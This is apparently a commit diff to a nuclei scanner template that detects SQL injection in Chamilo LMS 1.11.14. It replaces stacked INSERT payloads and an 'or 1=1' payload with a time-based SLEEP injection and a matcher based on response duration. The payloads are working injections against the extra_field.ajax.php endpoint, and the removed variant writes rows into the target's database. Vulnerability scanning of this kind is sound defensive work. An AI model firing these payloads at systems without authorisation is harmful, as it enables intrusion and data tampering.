Reverted back to old technique

The ;INSERT method only seemed to work on my dev enviroment.

vulnerabilities/other/chamilo-lms-sqli.yaml

@@ -1,39 +1,20 @@
 id: chamilo-lms-sqli
 info:
-  author: undefl0w
+  author: Undefl0w
   name: Chamilo LMS SQL Injection
   severity: high
-  description: Finds sql injection in Chamilo version 1.11.14
+  description: SQL injection in Chamilo version 1.11.14
   tags: 'chamilo,sqli'
 requests:
   - raw:
-      - >
-        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags
-        HTTP/1.1
-
+      - |
+        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
         Host: {{Hostname}}
-
         Content-Type: application/x-www-form-urlencoded
 
+        type=image&field_id=image&tag=image&from=image&search=image&options=["test'); SELECT SLEEP(3.5); -- "]
 
-        "type=image&field_id=image&tag=image&from=image&search=image&options=["test');
-        INSERT INTO extra_field_rel_tag(field_id, tag_id, item_id) VALUES (16,
-        16, 16); INSERT INTO extra_field_values(field_id, item_id,value) VALUES
-        (16, 16,'pwn'); INSERT INTO extra_field_options(option_value) VALUES
-        ('pwn'); INSERT INTO tag(id,tag,field_id ) VALUES (16,'pwn',16);     --
-        "]"
-      - >
-        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags
-        HTTP/1.1
-
-        Host: {{Hostname}}
-
-        Content-Type: application/x-www-form-urlencoded
-
-
-        type=image&field_id=image&tag=image&from=image&search=image&options=["notthetag')
-        or 1=1 -- "]
     matchers:
-      - type: word
-        words:
-          - pwn
+      - type: dsl
+        dsl:
+          - duration>=2